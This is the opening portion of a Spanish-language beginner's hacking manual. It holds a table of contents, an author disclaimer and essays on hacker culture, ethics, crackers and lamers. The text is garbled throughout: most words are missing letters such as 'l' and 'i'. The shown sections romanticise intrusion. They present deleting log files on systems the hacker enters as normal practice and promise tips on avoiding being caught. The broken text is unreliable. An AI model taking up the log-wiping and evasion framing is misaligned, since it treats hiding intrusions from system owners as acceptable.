Vous êtes sur la page 1sur 210

Por

1
Contenido
Primera Parte: Preliminares
Prlogo 4
Introduccin 6
Qu es un Hacker? 8
Computer Underground 10
La Actitud Hacker 12
El Sendero del Hacker 14
Filosofa 16
Reglas De Supervivencia Del Hacker 18
Hackers y Delito 19
Segunda Parte: Aprendiendo el Oficio
Unas Palabras Sobre UNIX y Linux 22
Metodologa del Hacker 39
La Ingeniera Social 43
Lo Ms Bsico Sobre Redes 45
Filosofa Cliente y Servidor 50
Estndares y Normas 51
Capas de Red 52
Protocolo de Ethernet 58
Protocolos De Red (Introduccin) 60
Introduccin al TCP/IP 61
IP (Protocolo de Internet) 63
TCP (Protocolo de Control de Transmisin) 67
Utileras TCP/IP 70
El Protocolo de los Pings: ICMP 74
El Protocolo UDP 75
Los Puertos 76
Servidores DNS 80
Sesin Cliente-Servidor Mediante TCP 82
MAC y ARP 84
ARP Spoofing 87
Escaneadores de Puertos 91
Sistemas de Deteccin de Intrusos 97
Introduccin a Los Sniffers 104
La Suite Dsniff 111
Deteccin de Sniffers 118
Usando Telnet 120
Prueba de Penetracin 125
Manipulacin de Paquetes con Hping2 133
Ataques de Denegacin de Servicio 138
Los Proxies 146
Los Servidores Socks 149
Los Exploits 151
Los Troyanos 152
Contraseas 155
Password Cracking 158
Conseguir el root en Linux 163
Cuentas Shell 169
Introduccin al NetCat 174
La Hora de la Verdad 199
Consejos Finales 206
El Manifiesto Hacker 208
Palabras Finales 209
Referencias 210
2
PRIMERA PARTE
Preliminares
JEFE DE POLICA: Espera un momento. Ests dicindome que este sujeto rob al banco 300 mil dlares, sin usar
una sola arma, sin recurrir a la violencia y sin siquiera presentarse fsicamente al banco y que adems nadie supo del
suceso hasta dos das despus? ESO me ests diciendo imberbe?
ASISTENTE: S, seor.
JEFE DE POLICA: Y qu demonios es ste tipo, una especie de fantasma o un supervillano con poderes
especiales?
ASISTENTE: No, seor. Es un HACKER.
3
Progo
Nota De Advertencia del Autor:
Yo, BtzKreg, no me hago responsabe de ma uso que se d a a nformacn aqu expuesta ya que
su pubcacn tan soo es para fnes nformatvos y ddctcos o ncusve, de entretenmento. Este es
un documento de dvugacn, as de smpe. Me desgo totamente de as accones perpetradas por
cuaquer persona que utce a nformacn contenda en este documento con fnes ctos.
Los e|erccos propuestos en este documento deben ser e|ecutados en una o dos mqunas propas.
Usar os conocmentos para fnes personaes con ntencn de penetrar un sstema es ega en cas a
totadad de gobo terrqueo y yo n o condono n recomendo.
Este documento es grats y su dstrbucn es bre. Una gran parte de a nformacn fue eaborada
con e|erccos propuestos por personas expermentadas en e rea de a segurdad nformtca y
hackers de dversos pases.
Que Es Este Documento Exactamente?
Este documento est enfocado a toda persona que desee conocer a esenca de hacker, pero
necesta que sea ago ddctca y que abarque desde Unx hasta un poco de Wnxx. Est drgda a os
ms novatos, como yo, expcado como s tuvsemos cnco aos, quz porque a m me suced que
en otros documentos smares parecera que expcan os datos como s furamos expertos.
Necesidad de Tener Linux
Es muy aconse|abe nstaar Lnux porque es un sstema que forma parte de par de a programacn
de UNIX, as herramentas de que dspone este Sstema Operatvo son muy tes para e mundo
Hack. Se puede tener una partcn para Wndows y una para Lnux en nuestro dsco duro. De este
modo, a arrancar a mquna, un sstema nos preguntar qu sstema operatvo queremos cargar, ya
sea Lnux o Wndows.
Para consegur una dstrbucn de Lnux basta con ba|arse una magen so desde www.nuxberg.com
y hacer un CD propo. O entrar a a pgna de Ubuntu y pedr un CD grats.
Aunque no es necesaro tener Lnux, s o recomendo y mucho, mxme que muchos de os e|empos
estn ms basados en a pataforma de Lnux y muchos de os programas, soo exsten para Lnux.
Varos programas para Lnux han sdo porteados a a pataforma Wndows, sn embargo no poseen a
potenca n a efcaca que se ogra en e sstema operatvo para e que fueron creados orgnamente.
Agunas dstrbucones de Lnux permten, por medo de un Lve CD, probar a funconadad de
sstema e rnos adaptando a entorno antes de decdrnos a nstaaro. Exste una gran comundad en
Internet dspuesta a ayudarnos cuando se nos atore a carreta. Foros, chats, pgnas personaes con
guas y tutoraes estn a nuestra entera dsposcn de manera gratuta y atrusta; as que no hay
pretexto para de|ar de ado a oportundad de mane|ar un sstema ms fexbe y efcente. Lnux es
un mundo nuevo y merece a pena de ser exporado.
Hay que hacer notar que muchos de os programas para Lnux soo pueden nstaarse y comparse
sendo root
1
. Wndows permte aguna sotura de uso pero se perde contro sobre e sstema. Una
cosa que pasa, y sta es una gran desventa|a, es que a usar una pataforma como Wndows nunca
sabremos qu sucede exactamente, ben sea porque no se pueda consegur e cdgo fuente de SO
(cosa que nunca va a pasar), o ben, porque su propa estructura as o requere. Wndows traba|a a
espadas de os usuaros.
1root (Raz) Dcese del directorio inicial de un sistema de archivos. En entornos Unix se refiere tambin al usuario principal o Sper usuario.
4
Lnux permte egar a mane|ar ms bremente e sstema y nos de|a conocero con profunddad,
adems de darnos e contro. Lnux es ms verst que su contraparte Wndows. Ouen use Lnux ya
ha dado e prmer paso para convertrse en hacker; por o tanto, necesta menos ayuda, o que no
sgnfca que no a neceste. Hasta os hackers saben que nngn hombre es en s msmo una sa,
sempre requerremos ayuda de quen posee ms experenca. No hay duda de eso.
Lnux es un sstema operatvo que derva de sstema UNIX, por o que muchas caracterstcas son
comunes a ambos sstemas. Adems, UNIX es, podramos decr, e engua|e y a coumna vertebra de
Internet. En a pgna 22 nos daremos a a tarea de expcar un poco o que es UNIX y Lnux para
conocer un poco cues son sus venta|as.
Objetivo
No es una gua, n pretende sero, cento por cento competa sobre as actvdades hacker (en
espao rebautzado con e espantoso neoogsmo hackeo), pero para quenes desean echarse un
cavado en e rea de a segurdad nformtca, es un buen comenzo y puede ser de utdad para
conocer de qu manera traba|an os hackers. Su ectura nos permtr conocer cmo acta, pensa y
como se desenvueve e hacker. Podremos adentrarnos en a mentadad gena de esta te de
expertos en segurdad.
A msmo tempo, e conocmento adqurdo medante e estudo de os temas, permte que tengamos
a capacdad de conocer cmo podemos defendernos de ataques hechos por aqueos hackers
macosos que vagan por a red buscando hacer dao y posbta prevenr futuras ncursones.
La necesidad de Programar
Conse|o para e Novato: Todo expot, cracker, ma bomber y prctcamente todo o reaconado con e
hackeo se ha escrto en Per o en C. S es nuestro deseo reamente ser consderados un hacker de
te, debemos saber programar.
Sn un conocmento sdo en C (o C++) o Per, no podremos e|ercer e Ofco con xto competo y
nos quedaramos en e rango de Scrptkddes. Cas todos os expots dsponbes en Internet tenen
una parte mportante edtada o perdda sn a cua es nt. Agunos expots pueden necestar ser
edtados para ser e|ecutados en su pataforma. Para hacer todo esto se requere de programacn.
Saber programacn nos ayuda no so en a depuracn de expots encontrados con anterordad
sno tambn para descubrr agu|eros nuevos en Daemons
2
(demonos) popuares. Para encontrar un
agu|ero, dgamos, en Sendma, necestamos examnar a fondo e cdgo repetdas veces y buscar ese
pedazo dmnuto que sea expotabe. Es por eso que uno debe saber programar para poder E|ercer e
Ofco.
Hay muchos programas en C que podemos encontrar en a red y que nos prometen estabecernos en
root (raz) o sacarte de she (ntrprete de comandos) restrngdo, etctera. Pero puedo asegurar que
a mayor parte de estos programas tenen una parte pequea perdda o edtada en e cdgo. Un
enorme Expot de Sendma fue pubcado en a Web y tena comentaros encma de a nea ms
mportante y por tanto e expot no funcon. Vuevo a enfatzar a necesdad de aprender a
programar.
onvenciones !inales
Se asume que a persona que ee este documento tene un conocmento pasabe en computadoras.
No se exge que sea un experto, pero que a menos sepa como abrr una consoa de comandos en
Wndows o Lnux. As msmo, se asume que tene una conexn a Internet y que se sabe desenvover
cuando navega en busca de nformacn.
2Un demonio (o daemon) es un proceso que no tiene propietario (es decir, no es ejecutado por ningn usuario en particular) y que se est
ejecutando permanentemente.
5
Cuando se utce a paabra Wnxx, sgnfcar que nos estamos refrendo a a pataforma Wndows en
cuaquera de sus versones: Wn98, Wn98SE, WnMe (Wndows Meno), WnXP, WnNT; aunque as
msmo, pueden usarse estas nomencaturas para referrnos a ese Sstema Operatvo, sobre todo
cuando una apcacn soo pueda usarse en una versn en partcuar.
No se haba de a nfndad de herramentas de que echan mano os hackers, aqu soo mencono as
ms mportantes o de as que, por ser ms popuares, exsten manuaes de uso en Internet. De
hecho, muchos de os temas fueron creados en base a nformacn que hackers expermentados han
puesto en a Gran Red.
A fna de ste documento se habar de NetCat, herramenta creada por Hobbt, y detaaremos sus
funcones bscas |unto con una sere de e|erccos probados tanto en Wnxx como en Lnux. Toda a
nformacn sobre esa utera fue recopada y acomodada segn e grado de dfcutad, desde o ms
bsco, hasta su uso en procedmentos ms compcados.
Es posbe que agunas dreccones de nternet sean obsoetas, no es ms que buscar os programas o
herramentas por su nombre en Googe.
Los comandos usados en as dos pataformas ms mportantes, sern escrtos ta y como deben
usarse. Hasta se pueden copar y pegar en as consoas de comandos
3
. E sombreado ndcar que es
un comando mportante. Por e|empo:
fconfg -a
Los comandos se tecean en a ventana de a consoa o termna de a pataforma eegda. Se entende
que se escrbe cogando desde su propo drectoro y despus pusando a teca <enter> o <ntro>.
:" en Wnxx y

#$ en Lnux

#% prompt de root en Lnux
Un ve|o dcho dce "Un sodado merece un sodado" y extrapondoo a mundo hacker, se refere a
que debemos pensar y actuar como e hacker para poder vencero en su propa arena.
3Se usarn indistintamente los nombres consola de comandos, lnea de comandos, shell o terminal para indicar los programas que permiten
en Windows o Linux ingresar comandos. En Winxx se usa el programa cmd.exe para traernos una consola y se abre desde el men Inicio
(Start) eligiendo la opcin Ejecutar y en el cuadro de dilogo tecleamos cmd.exe.
6
Introduccn
Exste una comundad candestna que opera y sobrevve en os oscuros rncones de a nformtca, es
una cutura compartda de programadores y entusastas expertos y genos en a creacn de redes
cuyos orgenes se remontan a os tempos oscuros en que a |unga de sco era gobernada por os
dnosauros nformtcos. Eran os tempos en que no exstan os MP3, n os programas P2P, n a
Wkpeda, pero empezaban a hacer su aparcn as prmeras mcrocomputadoras de tempo
compartdo y os prmeros expermentos con ARPAnet. Los membros de esta cutura deron
nacmento a trmno "Hacker".
Agunos creen, aunque puede ser una exageracn, que desde que aparec a prmera computadora
aparec e prmer hacker. Los hackers fueron os que construyeron a Internet. Los hackers crearon e
sstema operatvo Unx ta y como o conocemos hoy en da. Los hackers deron vda a Usenet
4
. Los
hackers fueron os artfces de a Word Wde Web. Incuso Lnux est apadrnado por centos de
hackers.
Hacker, a soa paabra atrae y subyuga. Son soo ses etras, pero |untas, parecera que poseen
poderes mstcos que nfuyen y de|an sema sobre quen a escucha y resuena como eco de
campana en os cerebros de mes de adoescentes, a mayora hombres, con espnas y frenos en a
dentadura que veron por prmera vez War Games y empezaron a soar con robar passwords,
penetrar sstemas, domnar computadoras remotas y, nada raro, poder tener a capacdad de entrar
a sstema de cafcacones de coego o vengar aguna afrenta. Los ms osados desean egar a
tumbar e sstema de aguna compaa o modfcar a pacer una pgna web, etc.
Cuando se haba de hackers, sempre vene a a mente a magen de un hombre. Sn embargo,
tambn exsten mu|eres que se dedcan a perfecconarse en e arte de Ofco de Hackng.
S t eres parte de esta cutura, s te has amentado de ea y s has contrbudo en su benefco de
una u otra forma y s otras personas te reconocen y te aman hacker, entonces s puedes amarte
hacker y no necestas eer este documento. Sn embargo, s es tu deseo conocer cu es a esenca
de hacker y su modo de operar; s queres convertrte en uno, este documento es soo a puerta a ese
mundo de montores, tecados, cdgos y programas. Yo solo te muestro la puerta, t eres quien debe
decidir cruzarla (Morpheus, The Matrx).
En os sguentes apartados se mostrar paso a paso que es o que se requere para ser un hacker.
Desde e conocmento eementa a base de teora, hasta e mane|o de herramentas nformtcas
creadas por gente especazada; de msmo modo que en e e|rcto se te da teora de guerra y
estratega y te prepara para mane|ar armas de fuego de ato cabre, an y cuando |ams vayas a
dspararas. Se te dr como protegerte (gua que os buscadores de mnas antpersonaes que evan
un tra|e especa para ta menester) para no ser atrapado tan fcmente, pero sempre tenendo en
mente que todo debe hacerse en una computadora persona y una red propa, nunca una a|ena.
Dichoso es el hombre que ha adquirido sabidura y es rico en prudencia;
cuya adquisicin vale ms que la plata; y sus frutos son ms preciosos
que el oro acendrado
!roverbios "ap ###; $ers %&'%(
4Conjunto de miles de foros electrnicos de debate y discusin llamados grupos de noticias" (Newsgroups); as como las computadoras que
procesan sus protocolos y, finalmente, las personas que leen y envan noticias de Usenet. No todos los sistemas anfitriones estn suscritos a
Usenet ni todos los sistemas anfitriones Usenet estn en Internet.
7
Ou es un Hacker?
En sus orgenes, a paabra hacker defna a un afconado a as computadoras. Descrba a un usuaro
totamente cautvado por a programacn y a tecnooga nformtcas. En a dcada de os ochenta y
con a egada de as computadoras personaes
5
(PCs) y as redes de acceso remoto, este trmno
adqur una connotacn peyoratva y comenz a usarse para denomnar a cuaquer persona que se
conecte a una red para nvadr subreptcamente una o varas computadoras con a fnadad de
consutar, robar o aterar os programas o os datos amacenados en as msmas. E trmno tambn
se utza para referrse a aguen que, adems de programar, dsfruta desmenuzando sstemas
operatvos y programas para ver cmo funconan.
Los hackers son os su|etos que maqunaron o que es hoy e Internet ta y como o conocemos, a
mayora de os hackers programan y contrbuyen a mundo de Lnux y a a mayora de eos e gusta
estudar a segurdad de a red e rrumpr en os sstemas.
Los hackers son usuaros muy avanzados, que por su eevado nve de conocmentos tcncos, son
capaces de superar determnadas meddas de proteccn. Su motvacn abarca desde e espona|e
ndustra hasta e mero desafo persona. Internet, con sus grandes facdades de conectvdad,
permte a un usuaro experto ntentar e acceso remoto a cuaquer mquna conectada, de forma
annma. Hay quenes os descrben como os nn|as modernos, pero a dferenca de estos, os hackers
no evan artugos ocutos n armas para atacar, as ms de as veces se encuentran frente a una
computadora y un tecado. Cas sempre operan soos.
En este documento nos centraremos ms que nada en as habdades y acttudes de os hackers de
software y de a ngenera soca y en os programas que reguarmente utzan, adems de as
tradcones en que dan sustento a cutura compartda que orgn e trmno hacker.
A&reciaci'n del t(rmino
La gran mayora de as personas tenden a creer que a acttud de hacker se mta a a cutura de
software y nada hay ms e|os de a verdad. Exsten personas que apcan a acttud hacker a cosas
dferentes como o son a eectrnca o a msca - en readad, se puede encontrar en os nvees ms
atos de cuaquer cenca o arte. Los hackers de software reconocen a estos esprtus en otros ugares
y pueden amaros 'hackers' tambn - y agunos sostenen que a naturaeza hacker es reamente
ndependente de medo partcuar en e cua se traba|a.
Lamers ) rac*ers
Pero hay que tener cudado; en e oscuro mundo subterrneo tambn habta un grupo transgresor
que traba|a tras as trncheras y que rudosamente se aman a s msmos hackers, pero estn muy
e|os de sero. Se trata de personas (prncpamente varones adoescentes) que gustan de rrumpr en
computadoras y hacer phreakng en e sstema teefnco. Los verdaderos hackers desgnan a estas
personas con e trmno de crackers y no queren ser reaconados con eos.
Los hackers verdaderos pensan que a mayora de os crackers son su|etos perezosos, rresponsabes,
y no muy ntegentes. Ob|etan que e ser capaz de romper a segurdad de un sstema no te vueve
ms hacker que e ser capaz de movere a os cabes de un automv para encendero no te
converte en un ngenero automotrz. Por desgraca, muchos perodstas y escrtores toman
errneamente a paabra 'hacker' para descrbr a os crackers y esto es ago que os rrta a gran
escaa.
En ugares de haba hspana, se e conoce como crack a me|or eemento de un grupo en una
actvdad. Es e as, e campen. Sn embargo, a desgnacn cracker en nformtca se ae|a de esta
vsn. La dferenca es esta: os hackers construyen cosas, os "crackers" as rompen.
5 En Espaa se les conoce como ordenadores
8
Los hackers no entran a wkpedas o wkfreaks para vandazar a sus anchas, esa es tarea de amers
(pronuncado mers) con un vaor humano menor que a mancha que queda en a suea de zapato
despus de apastar un bcho.
Un amer no es ms que un presunto hacker fracasado. Se cree hacker pero no o es. Presume de
hacker, pero no sabe nada y soo pasa su tempo copando programas, usando herramentas que
verdaderos hackers crearon, soamente para entrar a pgnas web pornogrfcas que requeran
autentcacn. Un amer cree que por aprender os comandos bscos de Unx o Lnux y saber como
usar e NetCat, o acerca a a categora de Hacker te y no es as. Dsta mucho de sero.
Un hacker comparte su saber porque vve ba|o a consgna de que e conocmento es unversa y no
debe tener n dueo n ataduras.
S queres saber o que es un verdadero hacker, sgue eyendo. S queres ser un cracker, ve a eer e
grupo de notcas at.2600 y preprate a darte de gopes en a cabeza cuando descubras que os
su|etos que ah se encuentran no son ms ntegentes que e egendaro burro que resop en una
fauta.
Y eso es todo o que se expcar acerca de os crackers y os amers.
9
Computer Underground
E mundo de a nformtca es una |unga pegrosa en s msma y est pobada por trbus
segmentadas y muy dversfcadas. Podemos dvdr e mundo subterrneo de as computadoras en
7 ramas prncpaes. Las ramas son (sn nngn orden en partcuar):
P+rea*s
Tambn referdos como "phreakers". (E trmno hace referenca ndrecta a freak "fenmeno"). Estas
personas se ocupan de a red teefnca. Oueren aprender todo o que se pueda acerca de eo,
queren controaro, o cua os eva a hacer amadas teefncas grats (esto es ega nos y nas.)
Los grupos de Phreakers se acuadran a menudo y forman un grupo organzado y pubcan artcuos
sobre e tema.
,ac*ers
Como se mencon anterormente, son as personas que aman os sstemas computaconaes y es
encanta saber cmo ntroducrse en eos y controaros, entre otras cosas. E hacker goza acanzando
un profundo conocmento sobre e funconamento nterno de un sstema o de una red de
computadoras. Un hacker verdadero no es e tpo de su|eto que os medos notcosos y Hoywood
queren que uno crea. Este trmno se suee utzar ndebdamente como peyoratvo, pero os hackers
procaman tener una tca y unos prncpos contestataros e nconformstas pero de nngn modo
dectvos.
arders
Tar|eteros. Estas personas son reconocdamente unos crmnaes. Roban y hacen uso de nmeros de
tar|etas de crdto, de cheques o nmeros de cuentas correntes para obtener o que queren sn
pagar con su propo dnero. Una de as compaas proveedoras de conexn a nternet ms
mportantes de Estados Undos, AOL (Amerca On Lne), tene en su base de datos mes de cuentas
creadas frauduentamente con mtodo de pago a tar|etas de crdto. La vctma nocente que ama a
servco a cente para recamar os cobros hechos a su tar|eta no es responsabe de os cargos no
autorzados, as es que e banco tene que comerse ese moe. Por eso es que estn asegurados.
Adems AOL debe reembosar e dnero medante un afdvt y termnar a cuenta aberta de manera
frauduenta.
Anar-uistas
Un Anarqusta es un ndvduo a que e gusta |ugar con fuego, exposvos, qumcos, etc. Ya es de por
s mao eaborar una bomba que se har expotar en e deserto para ver qu ocurrr. Estos su|etos
tenen su bba en e bro The Anarchst Cookbook.
.are/
Son os su|etos que dstrbuyen software de manera ega. Son pratas. La mayora de os warez son
dstrbudos por grupos warez que exsten con e ob|eto de sacar software de os BBSs antes de que
otro grupo pubque ese msmo programa prmero. En as pgnas web de estos tpos, se ponen a
dsposcn de quen o quera, os programas que son de paga, pero os dstrbuyen |unto con un
Keygen (un programa generador de seraes) o crack con e que e usuaro podr poner e nmero de
sere para evtar que e programa pda e sera o de|e de funconar debdo a mte de tempo de uso
de tra. Los keygens son hechos por os crackers.
0ujetos de 1irus2Tro)anos
Estas personas son usuamente programadores (aunque no sempre) nteresados en cmo traba|an
os vrus y os cabaos de Troya y cmo haceres ms efcentes e ndetectabes.
10
rac*ers
Son os su|etos que se dedcan a romper as contraseas de Stos Web, programas de pago o de
prueba, etc. Reguarmente crean programas amados cracks utzando desensambadores,
vocadores de memora, etc., para encontrar a forma de reventar a segurdad de os programas y
poder haceros "fu". Muchos hackers utzan tcncas empeadas por os crackers como veremos en
e apartado de Passwords Crackers, pero eso no sgnfca que comuguen con estas actvdades.
Como nota a parte debemos decr que a defncn dada por Xandor SymmLeo Xet que en su bro
)ackin*+ ,hat-s .e*al /nd ,hat-s 0ot
6
descrbe a hacker como un su|eto, hombre o mu|er, que con
una computadora y un mdem se pasea por os Buetn Boards, conoce Compuserve y La Fuente y
que se pasa e tempo frente a montor de su computadora comendo pzza y rosquas, adems de
conocer os efectos de a cafena, no hace mas que reforzar y perpetuar a dea de un estereotpo de
que e hacker rea desea desgarse.
Es en este punto donde adquere mportanca a "fosofa" de hacker. La dferenca entre un hacker y
un cracker, consste en que un cracker accede a sstema ms que nada para daaro o corrompero,
mentras que un hacker accede a sstema smpemente para consegur nformacn o por pura
curosdad, pero nunca corromper n borrar nngn archvo de sstema, sgue e ema de "se ve
pero no se toca". A esto tmo hay que hacer una excepcn , naturamente. Los ncos archvos que
e hacker modfcar o borrar sern os archvos reatvos a os ogs que haya poddo de|ar en e
sstema. Por supuesto que esto es una stuacn dea y no reasta; en a prctca un hacker puede
que reace otras accones en e sstema que puedan modfcar archvos ya exstentes, pero sempre
procurar que os cambos sean mnmos.
6 Hackeo: lo que es legal y lo que no lo es. 1987
11
La Acttud Hacker
Hay que meterse en a cabeza que os verdaderos hackers de te resueven probemas y construyen
cosas, no a revs. Creen en a bertad y a ayuda mutua vountara. Rara vez son egostas y proveen
a a comundad con a nformacn y e conocmento adqurdos con a prctca. Para ser aceptado
como un hacker, tenes que comportarte como s tuveras este tpo de acttud tu msmo. Y para
comportarte como s tuveras a acttud, tenes que creer reamente en a acttud. No hay vueta de
ho|a.
Pero una advertenca, s pensas cutvar as acttudes hacker smpemente como una manera de
ograr a aceptacn en esta cutura, te perdas e punto. Cero. Largo de aqu. Convertrse en e tpo de
persona que cree en estas cosas debe ser mportante para t - para ayudarte a aprender y a obtener
motvacn. Debes vsuazar a case de persona en que queres convertrte. Se requere de|ar atrs a
hombre y a a mu|er vacuos para voverse en seres penos. A gua que con todas as artes creatvas,
a forma ms efcaz de convertrse en un maestro es mtar a acttud de os maestros - no so
nteectua sno emoconamente tambn. En a mtooga |ed, es prmero ser un padawan. Aprender
de maestro sus tcncas y habdades. Escuchar sus conse|os y acatar sus rdenes sn chstar. Nunca
debatr nmedades n de|arse evar por banadades. As, y soo as, podrs convertrte con e tempo
en un maestro y mentor para que en e futuro puedas abergar a un ncado ba|o tu tutea.
E sguente poema zen moderno o especfca caramente:
Para seguir el camino:
observa al maestro
sigue al maestro,
camina con el maestro,
mira a travs del maestro,
convirtete en el maestro.
Encontrar a uz cuando se est rodeado de oscurdad es muy dfc. Pero con pacenca, dedcacn y
esfuerzo se puede ograr. Como o dce e dcho amercano: No pan, no gan (hay que sufrr para
merecer). Esa es a cave.
Por o tanto, s queres ser un hacker, repte as sguentes cosas hasta que se fundan en tus
crcunvoucones cerebraes y te as creas:
345El mundo est6 lleno de &roblemas 7ascinantes es&erando ser resueltos
Nade duda que ser un hacker es muy dvertdo, pero es e tpo de dversn que requere de un
montn de esfuerzo. Y e esfuerzo requere motvacn. Los atetas extosos obtenen su motvacn a
partr de una espece de pacer fsco a hacer que sus cuerpos reacen e|erccos, empu|ndose a s
msmos ms a de sus mtes corporaes. De msmo modo, para ser un hacker tenes que sentr en
mente y cuerpo a emocn bsca que da a soucn de os probemas que se hacen presentes.
Debes agudzar tus habdades y e|erctar tu ntegenca.
S no eres a case de persona que sente de esta manera, naturamente tendrs que aceptaro a fn
de que seas como un hacker. De o contraro encontrars que tu energa hacker ser mnada por
banaes dstraccones como e sexo, e dnero y a aprobacn soca. Sn embargo hay que recacar
que as dos tmas son necesaras y no son prohbtvas, pero no deben ser o ms mportante en a
vda de un hacker, son soo compementos. La tercera podemos consderara smpemente como una
vandad humana.
12
Es de capta mportanca tambn aprender a desarroar una espece de fe en tu propa capacdad de
aprendza|e - una convccn de que, aunque es posbe que no sepas o necesaro para resover un
probema, s te enfrascas en un pedazo de y extraes un agn conocmento de eso, vers que
habrs aprenddo o sufcente para resover a sguente peza - y as sucesvamente, hasta que hayas
termnado.
S sentes que e sendero es demasado snuoso y tortuoso y o queres todo facto, entonces este
modo de vda no es para t. Puedes de|ar este documento trado o envaro a a papeera de recca|e y
encender a teevsn para ver as teenoveas.
845 Ning9n &roblema debe ser resuelto dos veces
Todos sabemos que os cerebros creatvos son un recurso vaoso, no renovabe y a msmo tempo
mtado. No deben desperdcarse en redescubrr e ho negro cuando hay tantos probemas
fascnantes esperando su oportundad de ser resuetos.
Acerca de o anteror, una eyenda urbana cuenta que un centfco, un profesor emnente, que estaba
traba|ando con unos coegas en un probema que os traa de cabeza durante semanas,
repentnamente d con a soucn mentras cenaba con su esposa. Sn pensaro dos veces, sat de
a mesa y, montando en su automv, part en rumbo a su aboratoro tras haber convocado a sus
coegas de traba|o. Era tanta a eufora por comuncar su haazgo que e profesor no advrt a uz
ro|a de semforo. Un trer embst su pequeo auto matndoo a nstante y con , a soucn a
probema que tantos doores de cabeza y esfuerzos haban consumdo a grupo de centfcos: La
fusn en fro.
Para comportarte como un hacker, tenes que convencerte que os hackers te poseen un tempo
precoso para pensar, tan es as que podramos decr que es cas un deber mora compartr
nformacn, resover probemas y entonces dar as soucones para que otros hackers puedan
resover nuevos probemas en ugar de tener que estar perpetuamente regresando a os que ya
exstan.
Pero hay que tener sempre en mente que a frase nngn probema debe ser resueto dos veces no
debe mpcar que ests obgado a consderar todas as soucones exstentes como s fueran e Santo
Gra, o que so hay una soucn ptma para cuaquer probema dado. A veces, se puede aprender
mucho ms sobre e probema acerca de o que no sabamos antes de estudar a prmera soucn.
Esto est ben, y con frecuenca es necesaro, para mentazarnos de que podemos hacero me|or.
Lo que no es aceptabe son os artfcasmos tcncos, |urdcos, o as barreras nsttuconaes (como
e cdgo fuente cerrado) que mpden a una buena soucn e ser reutzada y que obguen a as
personas a vover a nventar e ho negro.
T no tenes que creer que ests obgado a regaar todo tu producto creatvo, aunque os hackers que
o hacen son os que obtenen o ms mportante de sus coegas: e respeto. Para eos, e respeto es
e mxmo reconocmento y premo. Una vez obtendo e respeto, muchos te buscarn y te pedrn
conse|o. Sn embargo, tambn hay que tomar en cuenta que es compatbe con os vaores de
hacker e vender o sufcente para poner os amentos en a mesa, pagar e aquer y as
computadoras y sacar a su chca a cne y a pasear. Sempre es bueno usar tus conocmentos de
hackng para mantener una fama o ncuso hacerte rco s as o deseas y te o has propuesto como
ob|etvo, sempre y cuando no ovdes a eatad que e debes a tu ofco y a tus compaeros hackers
mentras ests en eo.
Recuerda que exste una tca y una fosofa a as cuaes debes atarte. Tenes un vncuo mstco con
os dems compaeros y membros de esa cofrada que amamos a Hermandad de Hacker, an y
cuando no os conozcas n de nombre de pa n en persona.
13
E Sendero de Hacker
Navegando una noche por Internet, me encontr por casuadad un texto que fue escrto por aguen
que se hace amar Morgane y que fue ntegrado a un documento que eva por ttuo .ibro de las
1ombras (Book of Shadows). Aunque e tema de que trata es de mstcsmo y esotersmo, yo ntent
adaptaro a a esenca de hacker hacendo aqu y a agunos pequeos cambos a escrto. A fn de
cuentas, para as personas comunes y correntes, a esenca hacker parece estar cuberta de una
extraa aura msterosa. He decddo amar a arte de hacker "E Ofco" y eufemstcamente, as o
amar de aqu en adeante.
A menudo me preguntan cmo es que uno se converte en hacker. Encuentras a aguen que es
hacker y te puede convertr mgcamente en uno? O eres un hacker smpemente por pregonar a os
cuatro ventos que o eres? Puedes convertrte t msmo en hacker?
E proceso de convertrse en un hacker no sucede de a noche a a maana. Es una enta y en
ocasones, una fatgante metamorfoss. Es un cambo fundamenta de vda, de cambar os hbtos y
as costumbres anterores. Es un sendero nuevo en e va|e de tu vda. Requere ponderacn, estudo
y traba|o. S anterormente has segudo una forma de vda tradconasta, puede haber cosas que
dfcmente podrs abandonar, y nuevas cosas que te tomar tempo absorber.
He escuchado a muchas personas decr que a menudo es duro, entrar de una vda de honestdad, a
sentrse cmodo con tus nuevos amores: a nformtca y as computadoras. Todas as nnovacones
toman su tempo, pero s eres sero en este derrotero, ya encontrars tu propo camno. Los expertos
es aman su hogar propo.
No mporta cmo hayas encontrado a a ve|a escuea de conocmento, o mportante es que aqu
ests. Por o tanto, a dnde debes drgrte? A a brera. Para un novato, os bros son como e are
que respras. T debes poseeros, o de agn modo, tener acceso a eos, a a nformacn que
contenen. S no puedes pagaros o no te sentes seguro tenendo bros que haben de Ofco, e
Internet es e sguente destno.
Tanto en os bros como en e Internet, podrs encontrar una gran rqueza de conocmentos que te
guarn en tu nuevo camno. Certamente, a gua que con cuaquer otra cosa, hay buena
nformacn e nformacn nocva. Evta cuaquer case de bro o sto en Internet, que habe de
controar a otra persona en cuaquer forma, daar o hacer aarde de as habdades. Estos bros y/o
stes no cumprn con satsfacer tu necesdad de conocmentos sobre e Ofco y o ms que ograrn
ser confundrte.
Una vez que hayas edo una varedad de bros y documentos y sentas que esto es o tuyo, que ste
es tu camno, e sguente paso es encontrarte un maestro. S tenes acceso a un maestro, a m
parecer, ste es e me|or curso de accn. Normamente podrs encontrar un maestro en aguna
brera que venda bros sobre nuestro Ofco en tu comundad. Tambn, hay muchos stes donde
puedes encontrar mucha y vaosa nformacn sobre e tema que requeras para tu formacn. Ha
crecdo sumamente durante os tmos aos y es un recurso vaoso en a comundad de Ofco.
Tener a un mentor puede ofrecerte mucho ahora que comenzas a transtar e sendero. Habr cosas
que encuentres y que hagan que pases apuros para entenderas y necestes escarecmento. S
tenes a un maestro a a mano, smpemente una amada teefnca o un ema sern sufcentes. S
no, debes hacer un ntento por descfrar por t msmo as cosas y, cas seguro, que e resutado no
ser e esperado pero no hay que desesperar. No sempre se ogra e xto a a prmera oportundad.
S no encuentras a un maestro, otra vez, e Internet es e sguente me|or ugar para buscar.
14
S so buscas como benefcarte de tus habdades o como daar e traba|o por e que a otros es
pagan un suedo, con e cua vsten y dan de comer a su fama o smpemente ests en busca de
obtener un pacer mundano destruyendo os datos que pertenecen a otras personas, entonces
amgo... e Ofco no es para t. E Ofco hacker es un camno sero, en e cu se cumna e
conocmento adqurdo, pero es secundaro a a sabdura msma. Te sugero que pongas en
perspectva tus deseos, tus ob|etvos y tus opcones aternas.
Un par de cosas necestan decrse referente a dar nco a este sendero, en vsta de as acttudes
recentes acerca de nuestro Ofco. tmamente puede ser que hayas conocdo a agunas personas
que, despus de eer agunos bros, se senten con derecho a ser amados Maestros de Ofco. Se
coocan rpdamente un ttuo como Lord o Master, se estaconan detrs de una computadora, sacan
manuaes sobre ntrusn de sstemas y mane|o de Scrpts y se creen que ya estn stos para
empezar. Esto no es de o que trata nuestro Ofco.
